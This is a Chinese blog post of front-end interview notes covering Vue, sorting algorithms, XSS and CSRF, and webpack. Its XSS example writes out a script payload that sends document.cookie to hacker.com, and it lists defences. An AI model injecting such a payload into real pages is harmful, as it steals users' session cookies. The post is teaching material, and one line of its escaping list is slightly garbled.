<!DOCTYPE html>



  


<html class="theme-next muse use-motion" lang="">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="theme-color" content="#222">









<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css" />







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="Hexo, NexT" />










<meta name="description" content="（必考）Vue 有哪些生命周期钩子函数？ 看文档：https://cn.vuejs.org/v2/api/#选项-生命周期钩子8   （必考）Vue 如何实现组件通信？ 父子通信（使用 Prop 传递数据、使用 v-on 绑定自定义事件） 爷孙通信（通过两对父子通信，爷爸之间父子通信，爸儿之间父子通信） 兄弟通信（new Vue() 作为 eventBus）1   Vuex 的作用是什么？ 看文">
<meta property="og:type" content="article">
<meta property="og:title" content="前端面试必考篇—VUE、算法、webpack">
<meta property="og:url" content="http://yoursite.com/2018/07/11/前端面试必考篇—VUE、算法、webpack/index.html">
<meta property="og:site_name" content="From&#39;s blog">
<meta property="og:description" content="（必考）Vue 有哪些生命周期钩子函数？ 看文档：https://cn.vuejs.org/v2/api/#选项-生命周期钩子8   （必考）Vue 如何实现组件通信？ 父子通信（使用 Prop 传递数据、使用 v-on 绑定自定义事件） 爷孙通信（通过两对父子通信，爷爸之间父子通信，爸儿之间父子通信） 兄弟通信（new Vue() 作为 eventBus）1   Vuex 的作用是什么？ 看文">
<meta property="og:locale" content="default">
<meta property="og:updated_time" content="2018-07-11T10:28:23.554Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="前端面试必考篇—VUE、算法、webpack">
<meta name="twitter:description" content="（必考）Vue 有哪些生命周期钩子函数？ 看文档：https://cn.vuejs.org/v2/api/#选项-生命周期钩子8   （必考）Vue 如何实现组件通信？ 父子通信（使用 Prop 传递数据、使用 v-on 绑定自定义事件） 爷孙通信（通过两对父子通信，爷爸之间父子通信，爸儿之间父子通信） 兄弟通信（new Vue() 作为 eventBus）1   Vuex 的作用是什么？ 看文">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Muse',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://yoursite.com/2018/07/11/前端面试必考篇—VUE、算法、webpack/"/>





  <title>前端面试必考篇—VUE、算法、webpack | From's blog</title>
  








</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/"  class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">From's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br />
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />
            
            Archives
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2018/07/11/前端面试必考篇—VUE、算法、webpack/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="Wang hang">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="From's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">前端面试必考篇—VUE、算法、webpack</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2018-07-11T18:28:02+08:00">
                2018-07-11
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <ol>
<li>（必考）Vue 有哪些生命周期钩子函数？<ul>
<li>看文档：<a href="https://cn.vuejs.org/v2/api/#%E9%80%89%E9%A1%B9-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%92%A9%E5%AD%90" target="_blank" rel="noopener">https://cn.vuejs.org/v2/api/#选项-生命周期钩子8</a></li>
</ul>
</li>
<li>（必考）Vue 如何实现组件通信？<ol>
<li>父子通信（使用 Prop 传递数据、使用 v-on 绑定自定义事件）</li>
<li>爷孙通信（通过两对父子通信，爷爸之间父子通信，爸儿之间父子通信）</li>
<li><a href="https://cn.vuejs.org/v2/guide/components.html#%E9%9D%9E%E7%88%B6%E5%AD%90%E7%BB%84%E4%BB%B6%E7%9A%84%E9%80%9A%E4%BF%A1" target="_blank" rel="noopener">兄弟通信（new Vue() 作为 eventBus）1</a></li>
</ol>
</li>
<li>Vuex 的作用是什么？<ul>
<li>看文档、博客 <a href="https://vuex.vuejs.org/zh-cn/intro.html" target="_blank" rel="noopener">https://vuex.vuejs.org/zh-cn/intro.html3</a></li>
</ul>
</li>
<li>VueRouter 路由是什么？<ul>
<li>看文档、博客</li>
</ul>
</li>
<li>Vue 的双向绑定是如何实现的？有什么缺点？<ul>
<li>看文档，<a href="https://cn.vuejs.org/v2/guide/reactivity.html" target="_blank" rel="noopener">深入响应式原理6</a></li>
</ul>
</li>
<li>Computed 计算属性的用法？跟 Methods 的区别。 <a href="https://zhuanlan.zhihu.com/p/33778594" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/337785944</a></li>
</ol>
<h2 id="算法"><a href="#算法" class="headerlink" title="算法"></a><a href="https://github.com/Jsmond2016/blog/blob/master/%E5%B7%B2%E5%AE%8C%E6%88%90/%E9%9D%A2%E8%AF%95%E7%BB%BC%E5%90%88/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%BF%85%E8%80%83%E9%A2%98.md#%E7%AE%97%E6%B3%95" target="_blank" rel="noopener"></a>算法</h2><ol>
<li>排序算法（背诵冒泡排序、选择排序、计数排序、快速排序、插入排序、归并排序）</li>
<li>二分查找法</li>
<li>翻转二叉树</li>
</ol>
<p>把上面三个背一下，算法题必过。</p>
<p>安全押题</p>
<ol>
<li><p>什么是 XSS 攻击？如何预防？</p>
<ul>
<li><p>举例</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">div.innerHTML = userComment  // userComment 内容是 &lt;script&gt;$.get(&apos;http://hacker.com?cookie=&apos;+document.cookie)&lt;/script&gt;</span><br><span class="line">// 恶意就被执行了，这就是 XSS</span><br></pre></td></tr></table></figure>
</li>
<li><p>预防</p>
<ol>
<li>不要使用 innerHTML，改成 innerText，script 就会被当成文本，不执行</li>
<li>如果你一样要用 innerHTML，字符过滤<ul>
<li>把 &lt; 替换成 <code>&amp;lt;</code></li>
<li>把 &gt; 替换成 <code>&amp;gt;</code></li>
<li>把 &amp; 替换成 <code>&amp;amp;</code></li>
<li>把 ’ 替换成 <code>&amp;#39;</code></li>
<li>把 ’ 替换成 <code>&amp;quot;</code></li>
<li>代码 div.innerHTML = userComment.replace(/&gt;/g, ‘<code>&amp;lt;</code>’).replace…</li>
</ul>
</li>
<li>使用 CSP Content Security Policy</li>
</ol>
</li>
</ul>
</li>
<li><p>什么是 CSRF 攻击？如何预防？</p>
<ul>
<li>过程<ol>
<li>用户在 <a href="http://qq.com/" target="_blank" rel="noopener">qq.com</a> 登录</li>
<li>用户切换到 <a href="http://hacker.com/" target="_blank" rel="noopener">hacker.com</a>（恶意网站）</li>
<li><a href="http://hacker.com/" target="_blank" rel="noopener">hacker.com</a> 发送一个 <a href="http://qq.com/add_friend" target="_blank" rel="noopener">qq.com/add_friend</a> 请求，让当前用户添加 hacker 为好友。</li>
<li>用户在不知不觉中添加 hacker 为好友。</li>
<li>用户没有想发这个请求，但是 hacker 伪造了用户发请求的假象。</li>
</ol>
</li>
<li>避免<ol>
<li>检查 referer，<a href="http://qq.com/" target="_blank" rel="noopener">qq.com</a> 可以拒绝来自 <a href="http://hacker.com/" target="_blank" rel="noopener">hacker.com</a> 的请求</li>
<li>csrf_token 来解决</li>
</ol>
</li>
</ul>
</li>
</ol>
<h2 id="Webpack"><a href="#Webpack" class="headerlink" title="Webpack"></a><a href="https://github.com/Jsmond2016/blog/blob/master/%E5%B7%B2%E5%AE%8C%E6%88%90/%E9%9D%A2%E8%AF%95%E7%BB%BC%E5%90%88/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%BF%85%E8%80%83%E9%A2%98.md#webpack" target="_blank" rel="noopener"></a>Webpack</h2><ol>
<li>转译出的文件过大怎么办？<ul>
<li>使用 code split</li>
<li>写法 import(‘xxx’).then(xxx=&gt;{console.log(xxx)})</li>
<li>xxx 模块就是按需加载的</li>
</ul>
</li>
<li>转译速度慢什么办？<ul>
<li>方方不会。</li>
</ul>
</li>
<li>写过 webpack loader 吗？<ul>
<li><a href="http://www.alloyteam.com/2016/01/webpack-loader-1/" target="_blank" rel="noopener">http://www.alloyteam.com/2016/01/webpack-loader-1/4</a></li>
</ul>
</li>
</ol>
<h2 id=""><a href="#" class="headerlink" title=""></a><a href="https://github.com/Jsmond2016/blog/blob/master/%E5%B7%B2%E5%AE%8C%E6%88%90/%E9%9D%A2%E8%AF%95%E7%BB%BC%E5%90%88/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%BF%85%E8%80%83%E9%A2%98.md#%E5%8F%91%E6%95%A3%E9%A2%98" target="_blank" rel="noopener"></a></h2>
      
    </div>
    
    
    

    

    

    

    <footer class="post-footer">
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2018/07/10/前端面试必考篇—HTTP/" rel="next" title="前端面试必考篇—HTTP">
                <i class="fa fa-chevron-left"></i> 前端面试必考篇—HTTP
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2018/07/12/AJAX小知识/" rel="prev" title="AJAX小知识">
                AJAX小知识 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Table of Contents
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Overview
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">Wang hang</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">52</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                
                  <span class="site-state-item-count">2</span>
                  <span class="site-state-item-name">tags</span>
                
              </div>
            

          </nav>

          

          

          
          

          
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#算法"><span class="nav-number">1.</span> <span class="nav-text">算法</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#Webpack"><span class="nav-number">2.</span> <span class="nav-text">Webpack</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#"><span class="nav-number">3.</span> <span class="nav-text"></span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; <span itemprop="copyrightYear">2018</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Wang hang</span>

  
</div>


  <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Muse</a> v5.1.4</div>




        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  












  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

</body>
</html>
